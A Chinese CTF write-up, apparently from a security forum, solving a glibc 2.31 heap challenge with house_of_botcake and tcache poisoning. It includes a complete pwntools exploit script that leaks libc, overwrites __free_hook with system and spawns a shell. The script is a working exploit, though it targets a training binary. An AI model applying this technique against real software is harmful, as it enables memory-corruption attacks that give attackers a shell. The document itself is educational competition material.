关键词:2.31版本, house_of_botcake,tcache
程序描述
add
序号0-8可存储chunk,每次固定申请0x100,并且可读入0x100大小的内容。
delete
释放chunk后,将存储chunk的地方置0。
show
只能用一次show。
uaf
只能用一次,将堆块释放,但没有置零,存在uaf。
garden_name
只能用一次,申请了0x20大小的堆块。
漏洞利用
1.先将tcache填满,然后利用uaf将chunk1释放到,再show(1),就可以泄露出libc的地址。
for i in range(9):
add(i,b'a') #0-8
for i in range(7):
free(8-i) #d2-d8
uaf(1)
show(1)
libcbase = u64(ru('\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook'] 2.释放chunk0来让chunk0和chunk1合并。利用garden_name函数,申请0x20大小的chunk,将合并的0x220堆块分割,成为了0x1f0大小的堆块。
free(0) #d0
garden_name() 3.将tcache里的chunk全部申请出来后,从0x1f0里面分割0x110大小的chunk0。然后释放chunk2,chunk1,chunk0。注意这时候指向chunk1的指针才刚被置为零,上面是uaf,所以指针没有被置为零。释放三个chunk的原因: a.为了让cout = 3,所以free3个,方便tcache的couts的检查。glibc大于2.30版本时会检查count 。 b.如果只free2两个,在add(2,p64(system))的时候就会没有序号去申请第三个chunk。
for i in range(7):
add(8-i,b'a') #2-8
add(0,b'a') #0
free(2) #d2
free(1) #d1
free(0) #d0
4.因为0x30的申请,所以chunk0的指针和chunk1的指针相差0xe0。所以可以通过申请chunk0时,修改到chunk1的fd,从而申请到free_hook。然后改为system。
pay1 = b'a'*0xd0 + p64(0) + p64(0x111) + p64(free_hook)
add(0,pay1)
add(1,b'/bin/sh\x00')
add(2,p64(system))
free(1)
shell() EXP
from pwn import *
context.log_level = 'debug'
# context.arch = 'amd64'
libc = ELF('./libc-2.31.so')
file = './garden'
elf = ELF(file)
local = 1
if local:
io = process(file)
else:
io = remote('node4.buuoj.cn',25727)
def debug():
gdb.attach(io)
r = lambda : io.recv()
rx = lambda x: io.recv(x)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
li = lambda name,x : log.info(name+':'+hex(x))
shell = lambda : io.interactive()
def add(idx,name):
ru('>> ')
sl('1')
ru('tree index?\n')
sl(str(idx))
ru('tree name?\n')
sl(name)
def show(idx):
ru('>> ')
sl('3')
ru('tree index?\n')
sl(str(idx))
def uaf(idx):
ru('>> ')
sl('5')
ru('which tree do you want to steal?\n')
sl(str(idx))
def garden_name():
ru('>> ')
sl('6')
def free(idx):
ru('>> ')
sl('2')
ru('tree index?\n')
sl(str(idx))
for i in range(9):
add(i,b'a') #0-8
for i in range(7):
free(8-i) #d2-d8
uaf(1)
show(1)
libcbase = u64(ru('\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
li('libcbase',libcbase)
free_hook = libcbase + libc.sym['__free_hook']
one = libcbase + 0xe6e79
system = libcbase + libc.sym['system']
free(0) #d0
garden_name()
for i in range(7):
add(8-i,b'a') #2-8
add(0,b'a') #0
free(2) #d2
free(1) #d1
free(0) #d0
pay1 = b'a'*0xd0 + p64(0) + p64(0x111) + p64(free_hook)
add(0,pay1)
add(1,b'/bin/sh\x00')
add(2,p64(system))
free(1)
shell() 总结
这道题利用house_of_botcake配合tcache。因为每次申请的chunk大小是固定的,所以要申请一个小chunk,来实现一个错位,然后再申请0x100来覆盖到chunk1。这道题利用思路巧妙,算是house_of_botcake的升级版吧。
链接:https://pan.baidu.com/s/1fuz_JiKBYKhPddyf1cq7kQ
提取码:c5kk
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
最后于 2022-6-29 10:31
被Nirvana.编辑
,原因:
上传的附件: